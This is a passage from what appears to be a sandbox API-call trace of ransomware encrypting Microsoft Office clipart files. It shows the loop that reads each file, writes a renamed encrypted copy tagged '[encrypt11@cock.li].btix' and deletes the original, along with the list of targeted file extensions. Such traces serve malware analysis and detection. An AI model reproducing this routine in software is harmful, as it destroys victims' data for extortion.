(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0052.663] lstrlenW (lpString=".jpg") returned 4 [0052.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.664] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.664] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.664] GetLastError () returned 0x0 [0052.664] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1306, lpOverlapped=0x0) returned 1 [0052.714] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1310, lpOverlapped=0x0) returned 1 [0052.715] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.715] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.715] SetEndOfFile (hFile=0x308) returned 1 [0052.715] CloseHandle (hObject=0x308) returned 1 [0052.716] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.716] SetEndOfFile (hFile=0x36c) returned 1 [0052.717] CloseHandle (hObject=0x36c) returned 1 [0052.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0052.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0052.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0052.717] lstrlenW (lpString=".doc") returned 4 [0052.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.717] lstrlenW (lpString=".docx") returned 5 [0052.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.717] lstrlenW (lpString=".pdf") returned 4 [0052.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.717] lstrlenW (lpString=".xls") returned 4 [0052.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.717] lstrlenW (lpString=".xlsx") returned 5 [0052.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.718] lstrlenW (lpString=".ppt") returned 4 [0052.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0052.718] lstrlenW (lpString=".zip") returned 4 [0052.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.718] lstrlenW (lpString=".rar") returned 4 [0052.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.718] lstrlenW (lpString=".bz2") returned 4 [0052.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.718] lstrlenW (lpString=".7z") returned 3 [0052.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0052.718] lstrlenW (lpString=".dbf") returned 4 [0052.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0052.718] lstrlenW (lpString=".1cd") returned 4 [0052.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0052.718] lstrlenW (lpString=".jpg") returned 4 [0052.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.718] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.718] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.719] GetLastError () returned 0x0 [0052.719] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x6906, lpOverlapped=0x0) returned 1 [0052.804] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x6910, lpOverlapped=0x0) returned 1 [0052.805] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.805] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.805] SetEndOfFile (hFile=0x308) returned 1 [0052.805] CloseHandle (hObject=0x308) returned 1 [0052.806] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.807] SetEndOfFile (hFile=0x36c) returned 1 [0052.807] CloseHandle (hObject=0x36c) returned 1 [0052.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0052.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0052.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0052.808] lstrlenW (lpString=".doc") returned 4 [0052.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.808] lstrlenW (lpString=".docx") returned 5 [0052.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.808] lstrlenW (lpString=".pdf") returned 4 [0052.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.808] lstrlenW (lpString=".xls") returned 4 [0052.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.808] lstrlenW (lpString=".xlsx") returned 5 [0052.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.808] lstrlenW (lpString=".ppt") returned 4 [0052.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0052.808] lstrlenW (lpString=".zip") returned 4 [0052.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.808] lstrlenW (lpString=".rar") returned 4 [0052.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.808] lstrlenW (lpString=".bz2") returned 4 [0052.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.809] lstrlenW (lpString=".7z") returned 3 [0052.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0052.809] lstrlenW (lpString=".dbf") returned 4 [0052.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0052.809] lstrlenW (lpString=".1cd") returned 4 [0052.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0052.809] lstrlenW (lpString=".jpg") returned 4 [0052.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.809] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.809] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.809] GetLastError () returned 0x0 [0052.809] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x3f34, lpOverlapped=0x0) returned 1 [0054.522] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x3f40, lpOverlapped=0x0) returned 1 [0054.851] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0054.851] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0054.851] SetEndOfFile (hFile=0x308) returned 1 [0055.595] CloseHandle (hObject=0x308) returned 1 [0055.596] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.596] SetEndOfFile (hFile=0x36c) returned 1 [0055.597] CloseHandle (hObject=0x36c) returned 1 [0055.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0055.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0055.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0055.598] lstrlenW (lpString=".doc") returned 4 [0055.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.598] lstrlenW (lpString=".docx") returned 5 [0055.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.598] lstrlenW (lpString=".pdf") returned 4 [0055.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.598] lstrlenW (lpString=".xls") returned 4 [0055.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.598] lstrlenW (lpString=".xlsx") returned 5 [0055.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.598] lstrlenW (lpString=".ppt") returned 4 [0055.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0055.598] lstrlenW (lpString=".zip") returned 4 [0055.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.598] lstrlenW (lpString=".rar") returned 4 [0055.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.598] lstrlenW (lpString=".bz2") returned 4 [0055.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.598] lstrlenW (lpString=".7z") returned 3 [0055.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0055.598] lstrlenW (lpString=".dbf") returned 4 [0055.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0055.598] lstrlenW (lpString=".1cd") returned 4 [0055.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0055.599] lstrlenW (lpString=".jpg") returned 4 [0055.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0055.599] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=16676) returned 1 [0055.599] CloseHandle (hObject=0x36c) returned 1 [0055.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0055.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0055.599] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.599] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.600] GetLastError () returned 0x0 [0055.600] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4124, lpOverlapped=0x0) returned 1 [0055.722] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4130, lpOverlapped=0x0) returned 1 [0055.723] ReadFile (in: hFile=0x36c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0055.723] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0055.723] SetEndOfFile (hFile=0x308) returned 1 [0055.725] CloseHandle (hObject=0x308) returned 1 [0055.727] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.727] SetEndOfFile (hFile=0x36c) returned 1 [0055.730] CloseHandle (hObject=0x36c) returned 1 [0055.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0055.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0055.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0055.732] lstrlenW (lpString=".doc") returned 4 [0055.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.732] lstrlenW (lpString=".docx") returned 5 [0055.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.732] lstrlenW (lpString=".pdf") returned 4 [0055.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.732] lstrlenW (lpString=".xls") returned 4 [0055.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.732] lstrlenW (lpString=".xlsx") returned 5 [0055.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.732] lstrlenW (lpString=".ppt") returned 4 [0055.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0055.732] lstrlenW (lpString=".zip") returned 4 [0055.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.732] lstrlenW (lpString=".rar") returned 4 [0055.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.732] lstrlenW (lpString=".bz2") returned 4 [0055.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.732] lstrlenW (lpString=".7z") returned 3 [0055.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0055.732] lstrlenW (lpString=".dbf") returned 4 [0055.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0055.732] lstrlenW (lpString=".1cd") returned 4 [0055.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0055.732] lstrlenW (lpString=".jpg") returned 4 [0055.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.733] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=4066) returned 1 [0055.733] CloseHandle (hObject=0x328) returned 1 [0055.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0055.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0055.733] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.733] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0055.734] GetLastError () returned 0x0 [0055.734] ReadFile (in: hFile=0x328, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xfe2, lpOverlapped=0x0) returned 1 [0055.932] WriteFile (in: hFile=0x378, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xff0, lpOverlapped=0x0) returned 1 [0055.933] ReadFile (in: hFile=0x328, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0055.933] WriteFile (in: hFile=0x378, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0055.934] SetEndOfFile (hFile=0x378) returned 1 [0055.934] CloseHandle (hObject=0x378) returned 1 [0055.934] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0055.935] SetEndOfFile (hFile=0x328) returned 1 [0055.935] CloseHandle (hObject=0x328) returned 1 [0055.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0055.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0055.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0055.936] lstrlenW (lpString=".doc") returned 4 [0055.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.936] lstrlenW (lpString=".docx") returned 5 [0055.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.936] lstrlenW (lpString=".pdf") returned 4 [0055.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.936] lstrlenW (lpString=".xls") returned 4 [0055.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.936] lstrlenW (lpString=".xlsx") returned 5 [0055.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.936] lstrlenW (lpString=".ppt") returned 4 [0055.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0055.936] lstrlenW (lpString=".zip") returned 4 [0055.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.936] lstrlenW (lpString=".rar") returned 4 [0055.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.936] lstrlenW (lpString=".bz2") returned 4 [0055.936] lstrcmpiW 